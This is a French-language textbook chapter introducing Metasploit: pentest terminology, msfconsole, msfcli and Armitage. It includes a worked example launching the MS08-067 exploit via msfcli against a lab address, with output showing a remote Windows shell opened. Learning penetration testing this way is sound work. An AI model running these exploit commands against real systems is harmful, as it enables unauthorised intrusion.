2

Les bases de Metasploit

Sommaire

- Terminologie
- Les interfaces de Metasploit
- Utilitaires de Metasploit
- Metasploit Express et Metasploit Pro

Quand vous travaillez avec le Metasploit Framework (MSF) pour la première fois, vous pouvez vous sentir noyé par ses nombreuses interfaces, options, outils, variables et modules. Dans ce chapitre, nous nous intéresserons aux bases qui vous aideront à mieux comprendre le tout. Nous passerons en revue quelques termes du pentest, puis nous verrons brièvement les différentes interfaces utilisateur disponibles. Metasploit est gratuit, open source, porté par de nombreux contributeurs du domaine de la sécurité informatique, mais deux versions commerciales sont aussi disponibles.

Lors de la première utilisation de Metasploit, il est important de ne pas s'attarder sur les plus récents exploits, mais plutôt de comprendre comment Metasploit fonctionne et quelles commandes vous utilisez pour rendre un exploit possible.

Terminologie

Dans ce livre, nous utiliserons beaucoup de termes qu'il convient d'abord d'expliquer. La majorité des termes élémentaires qui suivent sont définis dans le contexte de Metasploit, mais sont généralement admis dans l'industrie de la sécurité informatique.

Exploit

Un `exploit` est le moyen par lequel un attaquant, ou un pentester en l'occurrence, profite d'un défaut dans un système, une application ou un service. Un attaquant utilise un exploit pour attaquer un système de façon à lui faire produire un certain résultat que les développeurs n'avaient pas envisagé. Les exploits courants sont le `buffer overflow` (dépassement de tampon), les vulnérabilités web (`injections SQL`, par exemple) et les erreurs de configuration.

Payload

Un `payload` est un code que nous voulons faire exécuter par le système et qui sera sélectionné et délivré par le framework. Par exemple, un `reverse shell` est un payload qui crée une connexion depuis la cible vers l'attaquant, tel qu'une `invite de commande Windows` (voir Chapitre 5), alors qu'un `bind shell` est un payload qui "attache" une invite de commande à l'écoute d'un port sur la machine cible, afin que l'attaquant puisse alors se connecter. Un payload peut être également quelque chose d'aussi simple que quelques commandes à exécuter sur la machine cible.

Shellcode

Un `shellcode` est une suite d'instructions utilisées par un payload lors de l'exploitation. Il est typiquement écrit en `langage assembleur`. Dans la plupart des cas, une `invite de commande système` (un "shell") ou une `invite de commande Meterpreter` ("Meterpreter shell") est utilisée après qu'une série d'instructions a été accomplie par la machine, d'où le nom.

Module

Un `module`, dans le contexte de ce livre, est une part de logiciel qui peut être utilisée par le framework Metasploit. Parfois, vous aurez besoin d'utiliser un module d'exploit, un composant logiciel qui porte l'attaque. D'autres fois, un module auxiliaire pourra être requis pour effectuer une action telle que le scan ou l'énumération de systèmes. Cette modularité est ce qui rend Métasploit si puissant.

Listener

Un `listener` est un composant de Metasploit qui attend une connexion entrante de tout type. Par exemple, après que la cible a été exploitée, elle peut communiquer avec l'attaquant *via* Internet. Le listener gère cette connexion, attendant sur la machine attaquante d'être contacté par la machine exploitée.

Les interfaces de Metasploit

Metasploit offre plus d'une interface à ses fonctionnalités sous-jacentes, incluant la `console`, la `ligne de commande` et l'`interface graphique`. En plus de ces interfaces, des utilitaires fournissent un accès direct à des fonctions qui sont normalement internes au framework. Ces utilitaires peuvent être précieux pour le développement d'exploits et les situations dans lesquelles vous n'avez pas besoin de la flexibilité de tout le framework Metasploit.

MSFconsole

`Msfconsole` est de loin la partie la plus populaire du framework Metasploit, et ce à juste titre. C'est un des outils les plus flexibles, les plus complets et les plus supportés de tout le framework Metasploit. `Msfconsole` fournit une interface pratique tout-en-un pour quasiment toutes les options et tous les réglages disponibles ; c'est comme un magasin unique où vous trouveriez tous les exploits dont vous rêvez. Vous pouvez utiliser `msfconsole` pour tout faire : lancer un exploit, charger un module auxiliaire, faire une énumération, créer des listeners ou lancer une exploitation massive contre tout un réseau.

Malgré l'évolution constante du framework Metasploit, une série de commandes sont restées relativement stables. En maîtrisant les bases de `msfconsole`, vous serez capable de vous adapter à tout changement. Pour illustrer l'importance de l'apprentissage de `msfconsole`, nous l'utiliserons dans pratiquement tous les chapitres du livre.

Démarrer *MSFconsole*

Pour lancer `msfconsole`, entrez msfconsole dans `l'invite de commande` :

```
root@bt:/# cd /opt/framework3/msf3/

root@bt:/opt/framework/msf3# msfconsole

< metasploit >

------------

         \
              ,__,
         \    (oo)____
              (__)    )\
                 ||--|| *
msf>
```

Pour accéder au fichier d'aide de `msfconsole`, entrez `help` suivi de la commande qui vous intéresse. Dans l'exemple qui suit, nous cherchons de l'aide pour la commande

`connect`, qui permet de communiquer avec un hôte. L'aide présente alors une description de l'outil, son usage et les différentes options à définir.

```
msf > help connect
```

Nous explorerons la console de plus ample façon dans les chapitres à venir.

MSFcli

`Msfcli` et `msfconsole` présentent deux façons radicalement différentes d'accéder au framework. Alors que msfconsole présente une façon interactive d'accéder à toutes les options de façon intuitive, `msfcli` est plus axée sur le scriptage et l'interprétation des autres outils basés sur la console. `Msfcli` supporte aussi le lancement d'exploits et de modules auxiliaires, et peut être pratique lors de l'essai de modules ou du développement de nouveaux exploits pour le framework. C'est un outil fantastique pour exploiter de façon unique, lorsque vous savez de quels exploits et options vous aurez besoin. Il laisse moins de place à l'erreur que `msfconsole` mais il offre des aides basiques (dont l'usage et la liste des modules) avec la commande `msfcli -h`, comme montré ci-après :

```
root@bt:/opt/framework3/msf3# msfcli -h

Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================

Mode            Description
----            ---------------

(H)elp          You're looking at it, baby!

(S)ummary       Show information about this module

(O)ptions       Show available options for this module

(A)dvanced      Show available advanced options for this module

(I)DS Evasion   Show available ids evasion options for this module

(P)ayloads      Show available payloads for this module

(T)argets       Show available targets for this exploit module

(AC)tions       Show available actions for this auxiliary module

(C)heck         Run the check routine of the selected module

(E)xecute       Execute the selected module

root@bt:/opt/framework3/msf3#
```

Exemple d'utilisation

Regardons comment il est possible d'utiliser `msfcli`. Ne prêtez pas attention aux détails, ces exemples sont seulement censés vous montrer comment il est possible de travailler avec cette interface.

Quand vous commencez l'apprentissage de Metasploit, ou quand vous êtes bloqué, vous pouvez voir les options disponibles pour un module en ajoutant la lettre `O` à la fin de la chaîne où vous êtes bloqué. Dans l'exemple suivant, nous l'utilisons pour voir les options disponibles avec le module `ms08_067_netapi` :

```
root@bt:/# msfcli windows/smb/ms08_067_netapi O

[*] Please wait while we load the module tree...

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOST    0.0.0.0          yes       The target address

RPORT    445              yes       Set the SMB service port

SMBPIPE  BROWSER          yes       The pipe name to use
                                    (BROWSER, SRVSVC)
```

Vous pouvez voir que le module nécessite trois options : `RHOST`, `RPORT` et `SMPIPE`. Maintenant, en ajoutant la lettre `P`, on peut vérifier les payloads disponibles :

```
root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P

[*] Please wait while we load the module tree...

Compatible payloads
===================
Name                    Description
----                    -----------
generic/debug_trap      Generate a debug trap in the target process

generic/shell_bind_tcp  Listen for a connection and spawn a command shell
```

Dès lors que toutes les options sont configurées et qu'un payload est sélectionné, nous pouvons lancer notre exploit en ajoutant `E` à la fin de la chaîne d'arguments de `msfcli` :

```
root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155
PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
```

```
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 ->
    192.168.1.155:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
```

C'est un succès, car nous avons ouvert une invite de commande Windows sur le système distant.

Armitage

La composante `armitage` de Metasploit est une interface utilisateur entièrement graphique et interactive créée par Raphael Mudge. Cette interface est très impressionnante, riche en fonctionnalités et disponible gratuitement. Nous ne la traiterons pas en profondeur, mais il est important de mentionner quelque chose qui mérite d'être exploré. Notre but est d'enseigner les tenants et les aboutissants de Metasploit ; l'interface graphique est géniale dès lors que vous comprenez comment le framework fonctionne.

Exécution d'Armitage

Pour lancer `Armitage`, exécutez la commande `armitage`. Lors du démarrage, sélectionnez START MSF, ce qui permettra à `Armitage` de se connecter à une instance Metasploit.

```
root@bt:/opt/framework3/msf3# armitage
```

Après l'exécution d'`armitage`, il suffit de cliquer sur une des fonctionnalités présentes dans le menu pour procéder à une attaque particulière ou accéder aux autres fonctionnalités.

Par exemple, la Figure 2.1 montre le menu des exploits (côté client).